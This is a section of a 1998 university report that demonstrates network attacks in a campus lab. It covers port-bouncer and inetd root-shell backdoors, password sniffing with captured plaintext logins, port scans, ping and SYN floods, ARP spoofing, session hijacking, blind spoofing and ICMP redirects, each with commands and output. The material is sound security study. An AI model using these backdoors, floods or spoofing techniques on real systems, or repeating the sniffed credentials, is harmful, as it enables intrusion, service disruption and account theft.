next up previous contents
Next: 4.3 Summary Up: 4. Network Security Problems Previous: 4.1 Theory

Subsections

4.2 Practical

4.2.1 Backdoors and Trojans

4.2.1.1 Backdoors

The backdoor that provides unauthorized but authenticated unprivileged access can be accomplished in two ways. The first requires root access and is two-fold:

The second way of creating this type of backdoor is by using a port bouncer. The advantage of using a port bouncer above the method above is that no above user-level access is required as long as ports > 1024 are used. The port bouncer we will consider is ``datapipe'', as mentioned in our theoretical section. To provide access to the telnet port (23) from port 5000, datapipe would be run as shown below.

# Syntax : datapipe localport remoteport remotehost

[siviwe@lucifer fiddle]$ ./datapipe 5000 23 lucifer

[siviwe@lucifer fiddle]$ telnet lucifer 5000

... Connected to lucifer.ru.ac.za.

... login: 

4.2.1.2 Trojans

There are two ways of accomplishing the task at hand. The first is the easier of the two methods but is also likely to be noticed more easily. It also involves choosing a port from /etc/services. The one we have chosen is port 4444 or the krb524 port. The following shows how we would mount the attack.

[root@lucifer fiddle]# cat >> /etc/inetd.conf

krb524  stream  tcp     nowait  root    /bin/bash       bash -i

^D

[root@lucifer fiddle]# killall -9 inetd

[root@lucifer fiddle]# inetd && exit > /dev/null 2>&1

[siviwe@lucifer proj]$ telnet lucifer krb524

Connected to lucifer.ru.ac.za.

[root@lucifer /]#

The second method involves using a program called ``sockd''. What this program does is that it defines a number of commands that can be executed. It then binds to a socket and executes those commands on behalf of the user. The advantage of such a program is that it can be made to look like just another program (e.g. telnet) running as root. Although our first example can be somewhat hidden by using common ports or modifying the name to port mapping in /etc/services, the number of services a site runs is usually small. The risk of getting caught is therefore lower with our second option.

4.2.2 Packet Sniffing

The first thing that needs to be done when attempting packet sniffing is to put the ethernet card in promiscuous mode. This is the mode used to ``read other people's conversations''. The ``ifconfig'' command is available on most Unix implementations and can be used to put the card in promiscuous mode. There are also packet sniffers included with many Unix implementations. The most popular of these packet sniffers is a tool called ``tcpdump''. Although it is highly configurable, it finds more uses in its legitimate purpose (diagnosing networks) than it does in packet sniffing attacks. Tools used to sniff passwords are numerous, the most prominent examples including Sniffit and PCS. Although Sniffit is more configurable, we will consider PCS as it shows rather efficiently the basic principles of packet sniffing.

PCS (PCap Based Sniffer) uses the PCap library which makes reading from raw input devices easier. It has three parameters that are of interest to us. The ``-o'' option is used to specify a different logfile than the default ``tcp.log''. The ``-i'' option is used to indicate which ethernet device to read from. The ``-f'' option is used to specify a filter string instead of using the default. Below is an example of how pcs may be run with some tidied up output obtained from an actual run.

[root@ufh.ac.za]# ./pcs -o output.ufh

[root@ufh.ac.za]# tail -f output.ufh

interface: eth0, pid: 22126

filter: tcp and (dst port 23 or dst port 21 or dst port 109 or dst port 110 

or dst port 513 or dst port 143 or dst port 106)

--

PATH: gauntlet.ru.ac.za(11409) => gauntlet.ufh.ac.za(telnet)

DATE: Mon Oct 12 13:33:06 1998

 

siviwe

ti&#arb%

su -

~Ne.ver~

named

w

nslookup www.sniffit.com

[timeout]

4.2.3 Port Scanning

4.2.3.1 Normal Scanning

As mentioned in the theoretical section, this type of scanning is trivial to do. We also mentioned that it is very easy to detect as a full connection is made to establish whether a port is open or not. If the port is open, the connect() function will succeed. If the port is not open, then the connect() call will fail and return -1. The code below shows the part of the scanner that is important. Details on setting up variables, sockets and addresses have been left out. The reader who is interested in seeing the full source for this type of scanner is invited to read the source code of the program ``strobe'', a very popular scanner of this type, in Appendix A.

for (port =1; port < 65535; port++) {

  // Create socket, set address of destination

  them.sin_port = htons(port); // Set the port we want to connect to/test

  // Finish the setup on their address

  if (connect(sockfd,(struct sockaddr *)&them,sizeof(them))== -1) { // Connect

    continue; // It's not open - back to loop

  }

  // Here it's open

  printf("Port number %d is open\n",port);

  close(sockfd);

}

4.2.3.2 Stealth Scanning

An example of this type of scanner is called ``StealthScan (tm)''. This scanner can perform all three types of port scanning, namely SYN, ACK and FIN. Below we show how this scanner could be run. Also included below is the ``tail'' of a logfile that logs everything. From the absence of information about the scan, it should be apparent that the scan was not detected. Everything after a hash (#) is the author's comment.

# Syntax: stealthscan <method> <source> <dest> <ports> <udelay> <delay> [sf]

 

# SYN SCAN with trimmed output

[root@lucifer /root]# ./s1 0 lucifer lucifer 1-6010 20 2

# port 6000 is listening.

 

# Something logged - nothing that gives identity however.

[root@lucifer /root]# tail -f /var/log/everything

Oct 28 16:14:50 lucifer lpd[282]: accept: Connection reset by peer

 

# FIN SCAN

[root@lucifer /root]# ./s1 1 lucifer lucifer 1-6010 20 2

# Same ports as SYN SCAN detected. Nothing logged.

 

# ACK SCAN

[root@lucifer /root]# ./s1 2 lucifer lucifer 1-6010 20 2

# No ports detected. Nothing logged.

4.2.4 Denial of Service

Most, if not all, Unix implementations come with the program ``ping''. As a super-user on a machine, executing ping with the ``-f'' flag floods whichever host is being pinged with ICMP echo requests until the program is stopped. This is what we called a ping flood. The ping of death can also be achieved with the ``ping'' program by supplying the ``-s'' flag and a packetsize. The ping program has built in checks for packet sizes that are too big or too small. To disable this, the source code will need to be modified and these checks taken out.

[root@gauntlet]# ./ping -f dog &

[root@gauntlet]# ./ping -f -s 999999 dog &

The normal port flood, as mentioned in the theoretical section is easy to write and to detect. Since it uses standard system calls, faking the originating address is non-trivial. A program was written to kill TCP ports using a normal flood. It opens a connection to a certain port on the host being scanned. When the connection is established, it disconnects. These leaves the sockets in one of the FIN_WAIT states. Done enough times, the service is crippled. The program written is called ``portkill.c'' and is included in Appendix A. Due to the ease of tracing the source of the scan, the program connects to the host being scanned as the virtual interface's IP address. To this interface, an arbitrary IP address can be bound. The scan will appear as originating from that address. Below is an illustration of how the program is run and also an example of what is logged. It should be noted that although a source address may not be visible in the logs in this instance, it sometimes does appear and still remains easily traceable.

[siviwe@lucifer portkill]$ ./portkill -i 10 -n 1000 -p 23 lucifer

[root@lucifer log]# tail -f /var/log/everything

Oct 28 23:50:51 lucifer telnetd[3912]: ttloop:  peer died: Invalid or incomplete 

multibyte or wide character

Oct 28 23:50:52 lucifer telnetd[4045]: ttloop:  read: Broken pipe

Oct 28 23:50:53 lucifer inetd[1020]: telnet/tcp server failing (looping), service 

terminated

SYN flooding is harder to detect than normal scanning. The SYN flooder we are going to consider is called ``synk4'' and is written by Zakath. Command line parameters are : the fake source address, host to be scanned, lowerbound port number and upperbound port number respectively. It should be noted that as with SYN scanning, superuser privileges are required to mount this type of attack. Below is an illustration of how the program is run and what was logged from its attack. It should be noted that although the netstat command may show the originator of the scan, since the IP address can be arbitrarily chosen (and usually is), the real scanning host cannot be easily detected.

[root@lucifer blah]# ./synk4 222.22.22.222 lucifer 21 23

[\] 3419

Copyright (c) 1980, 1983, 1986, 1988, 1990, 1991 The Regents of the University

of California. All Rights Reserved.

 

[root@lucifer /root]# tail -f /var/log/everything

Oct 28 17:01:19 lucifer inetd[1020]: ftp/tcp server failing (looping), service 

terminated

Oct 28 17:06:52 lucifer inetd[1020]: telnet/tcp server failing (looping), service 

terminated

4.2.5 IP Spoofing, Hijacking and Associated Problems

In this section, we will only look at practical aspects of the basic non-blind spoof, session hijacking and blind spoofing. We will not consider NFS, NIS and r* practical security problems in detail. The reason being that blind or non-blind spoofing is usually the prerequisite of such attacks. We will however briefly mention how attacks using them could be mounted in practical terms.

4.2.5.1 IP Spoofing and Hijacking

The simplest form of spoofing is to take over an existing IP address. One method of doing this is to fake ARP addresses. Since ARP is stateless, a host sending constant ARP ``replies'' can masquerade as another host, considering the IP is bound to the host in some way. A program called ``send_arp'' does ARP spoofing. Mounting one of the previously mentioned DoS attacks on the host whose address is wanted is another way to make sure it is incapacitated. The following script allows us to add a virtual interface with an arbitrary IP address.

#!/bin/bash

/sbin/ifconfig eth0:0 $1 broadcast 146.231.31.255 netmask 255.255.248.0

/sbin/route add -host $1 dev eth0:0

Assigning an arbitrary address to a secondary interface would allow for ARP abuse. An example of such abuse (ARP spoofing) is shown below.

# ./send_arp 146.231.24.1 00:00:c0:28:a2:b8 146.231.25.81 00:00:c0:b4:ed:d2

18:11:47.608857 leda.cs.ru.ac.za.2242 > server.ru.ac.za.telnet: S 

172782477:172782477(0) win 8192 <mss 1460> (DF)

18:11:47.618857 leda.cs.ru.ac.za.2242 > server.ru.ac.za.telnet: . 

ack 1804864001 win 8760 (DF)

When connecting to other hosts, the address that will be used will be that of the primary interface. For the secondary interface's address to be used, software has to be changed and told to use that instead. An example of modified software is a modification of the telnet program. The ``netlink.cc'' file from the program is included in Appendix A. The modification allows one to connect to a destination host as the address of the secondary interface.

Changing our primary interface address to that of the host which we want to spoof makes life easier. Everything we do appears to come from the host whose address we are spoofing. It is with this method that attacks on services such as the r* family of commands, NFS and NIS become possible and trivial to mount. In the case of NFS, faking the server makes the clients vulnerable to ``evil programs'' put on the server. If the file system is exported read/write, and writes by root are permitted, faking one of the clients is good enough to compromise all the NFS machines connected to the server, including the server. Faking the NIS server makes clients retrieve fake NIS information, making them all vulnerable. Faking one of the clients may not be enough unless there is some other trust relationship e.g. NFS. r* commands like rlogin only require one trusted host to be faked. Once this is done we can remotely login to every host that trusts ours. Knowing which usernames were on the original host and how they map to those on a remote host that trusts us makes it possible to use every single account on the remote system. If the r* command family trust relationship is per host instead of per user, gaining access after spoofing a trusting host is made even more trivial.

Session hijacking is easily accomplished with a program distributed on the Internet as ``hijack.c''. It comes with a suite of programs that also allows for the resetting of connections. The program takes over a connection, and appends to the .profile file the string ``echo Hacked''. Below is a screenshot of the program in action.

[root@charon g94k6913]# ./hijack ariel.cs.ru.ac.za 1026 gauntlet

Starting Hijacking demo - Brecht Claerhout 1996

------------------------

Takeover phase 1: Stealing connection.

Sending Spoofed clean-up data...

  Waiting for spoof to be confirmed...

  Phase 1 ended.

Takeover phase 2: Getting on track with SEQ/ACK's again

  Server SEQ: 4BF83A56 (hex)    ACK: 3662FE6A (hex)

Phase 2 ended.

Takeover phase 3: Sending MY data.

  Sending evil data.

  Waiting for evil data to be confirmed...

Phase 3 ended.

[root@charon g94k6913]# 

4.2.5.2 Blind Spoofing

A program distributed on the Internet called ``eriu.c'' performs and illustrates blind spoofing. The program comes with a variety of options for mounting the attack. Our experiments with this program proved unsuccessful as our test machines are Linux machines with the 'new' kernels. These machines use the random sequence number generated mentioned in the theoretical part of blind spoofing. For a full explanation and an actual attack of this sort, the reader is referred to [5].

[root@despina g94k6913]# ./eriu -s epsilon:4364 -t omega:513 -f oof  -c 5 

Eriu - Version 0.1  (by Brecht Claerhout <coder@reptile.rug.ac.be>)

Checking permissions... OK

Opening command file... OK

Determining local IP adress... despina

Trying to determine if Target System is 64K ruler...

   Probing Target System... OK

Probing Target system for attack... OK

SYN packet fired...

Guessed ACK: 41E5A764

Sending guessed ACK's... DONE

Connection hopefully established...

Executing command file...

Firing packet (DATA)... DONE

Firing packet (DATA)... DONE

Firing packet (DATA)... DONE

Firing packet (DATA)... DONE

Firing packet (ACK)... DONE

Cleaning up (RST)...

[root@despina g94k6913]# cat oof

\000g94k6913\000epsilon\000vt100/9600\000

\255\255ss\000\025\000\080\000\000\000\000

\010

/bin/touch This_site_was_hacked\010

[root@despina g94k6913]# 

[g94k6913@omega]$ ls -l This*

-rw-r-r-   1 g94k6913            0 Oct 30 22:05 This_site_was_hacked

 

4.2.5.3 Route Spoofing

ICMP redirection is the most popular method of route spoofing. It is for this reason that it will be the only one of the methods introduced in the theoretical part of route spoofing, that we will deal with at a practical level. A program called ``icmp_redir.c'' can be used to mount an ICMP redirect route spoofing attack. The program creates an ICMP redirect packet with the source address set to the regular gateway and sends it out. The packet contains also contains the ``new'' gateway to use. When the recipients of such a packet see it, they may change their routing tables. For an in-depth look at how this attack works, the reader is referred to [33].

% Syntax: icmp_redir gateway targethost destination new-gateway

root@hostname# ./icmp_redir 146.231.24.1 146.231.31.51 hippo gauntlet

root@hostname# tcpdump 'icmp[0] != 900'

16:59:42.360000 cisco-rucs03-e1s.ru.ac.za > leda.cs.ru.ac.za: icmp: redirect 

gauntlet.ru.ac.za to host cisco-rucs03-e0.ru.ac.za

16:59:52.310000 cisco-rucs03-e1s.ru.ac.za > leda.cs.ru.ac.za: icmp: redirect 

hippo.ru.ac.za to host gauntlet.ru.ac.za

16:59:56.720000 gauntlet.ru.ac.za > leda.cs.ru.ac.za: icmp: redirect hippo.ru.ac.za 

to host cisco-rucs03-e1s.ru.ac.za [tos 0xd0]

17:00:10.200000 cisco-rucs03-e1s.ru.ac.za > leda.cs.ru.ac.za: icmp: redirect 

hippo.ru.ac.za to host gauntlet.ru.ac.za

17:00:14.510000 cisco-rucs03-e0.ru.ac.za > leda.cs.ru.ac.za: icmp: redirect 

hippo.ru.ac.za to host gauntlet.ru.ac.za

---------

bash$ w

  5:02pm  up 59 min,  2 users,  load average: 0.01, 0.01, 0.00

USER     TTY      FROM              LOGIN@   IDLE   JCPU   PCPU  WHAT

g94k6913 ttyp0    :0.0              4:08pm  9.00s  0.45s  0.02s  tcpdump icmp[0]

g94k6913 ttyp1    :0.0              4:24pm  0.00s  0.40s  0.08s  w 

bash$ /usr/sbin/traceroute hippo

traceroute to hippo.ru.ac.za (146.231.128.1), 30 hops max, 40 byte packets

 1  * * *

 2  * * *

 3  *

bash$ 

4.2.5.4 DNS Spoofing

Recently a bug in most DNS server software was released. Although the fact that so many DNS servers were vulnerable to the attack was frightening, the bug itself remained a buffer overflow. We have dealt with buffer overflows in depth in previous sections, so we will not continue with the discussion of the recently discovered bug. DNS server security being compromised, as with most other security concerns, is mostly reduced to a buffer overflow. IP Spoofing the DNS server uses the same mechanism discussed above when discussing non-blind spoofing and session hijacking. In the same way that an intruder machine can pretend to be the NIS server, it can also pretend to be a DNS server. With that noted, DNS spoofing attacks can be understood and mounted by reviewing IP Spoofing and buffer overflows.

4.2.6 ICMP Tunnelling

A suite of programs distributed as ``sneakin.tgz'' perform ICMP tunneling. The suite contains a daemon (icmpd) which is run on the ``server'' that we want to login into. On the client side, we run the actual program ``sneakin''. The program sends two ICMP packets to the daemon, preparing the connection. It also sets up a communication port on the local machine. A special telnet program is then run to connect to this port on the local machine. The principle behind it is that of a reverse telnet program. Communication between client and server through the local port respectively is carried via ICMP ECHO packets to and from the server.


 
Figure 4.8: A diagrammatic representation of ICMP tunneling
\resizebox*{9cm}{!}{\includegraphics{icmp.ps}}



next up previous contents
Next: 4.3 Summary Up: 4. Network Security Problems Previous: 4.1 Theory
Shaun Bangay
1998-11-19